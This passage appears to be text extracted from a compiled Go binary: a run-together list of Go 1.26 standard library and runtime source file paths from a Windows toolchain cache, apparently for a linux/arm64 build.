6.0.windows-amd64/src/runtime/select.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/pinner.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/alg.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/arena.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mheap.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/stubs.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mem.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/lockrank_off.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/lock_spinbit.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/cgo_mmap.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/cgo_sigaction.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/cgocall.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/cgroup_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/chan.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/runtime2.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/os_linux_arm64.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/time_nofake.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/proc.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/cpuflags_arm64.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/cpuprof.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/debug.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/debugcall.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/symtab.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/env_posix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/error.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/traceback.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/extern.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/fds_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/hash64.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/print.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/hexdump.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/histogram.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/metrics.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/atomic_pointer.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/type.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/rand.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/lfstack.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/tagptr_64bit.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/list_manual.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/lock_futex.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/msize.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mprof.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/lockrank.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/malloc.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mem_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mfixalloc.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mcache.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/runtime1.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mbitmap.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/traceruntime.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/fastlog2.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/map.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mbarrier.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/abi/abi.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mwbbuf.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mgcmark_greenteagc.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mcentral.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mgcsweep.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mcheckmark.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mgc.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mgcmark.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mcleanup.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/os_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mfinal.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mstats.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/sema.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mgcpacer.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mgclimit.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/stack.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mgcstack.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mgcwork.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mgcscavenge.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/time.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mranges.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mpagealloc.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mpallocbits.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/sys/intrinsics.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/preempt_xreg.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mpagecache.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mpagealloc_64bit.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/tracestack.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/symtabinl.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mspanset.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/netpoll_epoll.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/defs_linux_arm64.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/panic.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/preempt.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/write_err.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/runtime.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/stubs2.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/string.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/rwmutex.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/security_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/trace.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/vdso_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/profbuf.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/retry.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/set_vma_name_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/signal_linux_arm64.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/signal_arm64.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/sigqueue.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/slice.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/sys_arm64.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/stkframe.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/synctest.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/tracebuf.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/tracestatus.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/traceallocfree.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/traceevent.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/tracetime.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/tracecpu.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/tracemap.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/traceregion.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/tracestring.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/tracetype.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/unsafe.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/utf8.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/vgetrandom_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/timestub.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/asm.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/asm_arm64.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/memclr_arm64.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/memmove_arm64.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/preempt_arm64.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/rt0_linux_arm64.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/sys_linux_arm64.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/tls_arm64.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/reflectlite/type.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/errors/wrap.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/errors/errors.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/atomic/type.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/atomic/value.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/sync/mutex.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/mutex.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/once.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/pool.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/poolqueue.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/runtime.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/rwmutex.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/sync/hashtriemap.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/bisect/bisect.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/godebug/godebug.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/godebugs/table.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/map.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/iter/iter.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/env_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/oncefunc.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/syscall_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/exec_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/forkpipe2.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/syscall_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/exec_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/syscall.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/rlimit.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/slices/slices.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/zsyscall_linux_arm64.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/asm_linux_arm64.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/time/format.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/time/time.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/time/format_rfc3339.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/time/sleep.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/time/sys_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/time/zoneinfo.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/time/zoneinfo_read.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/time/zoneinfo_goroot.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/time/zoneinfo_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/context/context.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/unicode/utf8/utf8.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/strconv/number.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/atob.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/strconv/quote.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/unicode/tables.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/unicode/graphic.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/unicode/letter.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/reflect/map.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/reflect/value.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/reflect/abi.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/reflect/type.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/reflect/deepequal.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/reflect/makefunc.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/reflect/float32reg_generic.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/reflect/asm_arm64.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/fmtsort/sort.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/slices/sort.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/cmp/cmp.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/slices/zsortanyfunc.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/io/io.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/io/fs/fs.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/io/fs/format.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/filepathlite/path.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/filepathlite/path_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/testlog/exit.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/testlog/log.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/syscall/unix/at.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/syscall/unix/copy_file_range_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/syscall/unix/fcntl_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/syscall/unix/kernel_version_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/syscall/unix/pidfd_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/syscall/unix/waitid_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/poll/copy_file_range_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/syscall/unix/kernel_version_ge.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/poll/sendfile.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/poll/copy_file_range_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/poll/fd.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/poll/fd_mutex.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/poll/fd_posix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/poll/fd_fsync_posix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/poll/errno_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/poll/fd_poll_runtime.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/poll/fd_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/poll/fd_unixjs.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/poll/sendfile_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/poll/splice_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/error.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/file.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/pidfd_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/dir_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/dir.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/dirent_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/env.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/exec.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/exec_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/exec_posix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/syscall/execenv/execenv_default.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/exec_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/file_posix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/executable_procfs.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/file_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/rawconn.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/file_open_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/timestruct.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/syscall/unix/nonblocking_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/types.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/getwd.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/types_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/path.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/path_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/syscall/unix/siginfo_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/pipe2_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/proc.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/removeall_at.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/root_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/removeall_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/os/eloop_other.goC:/Users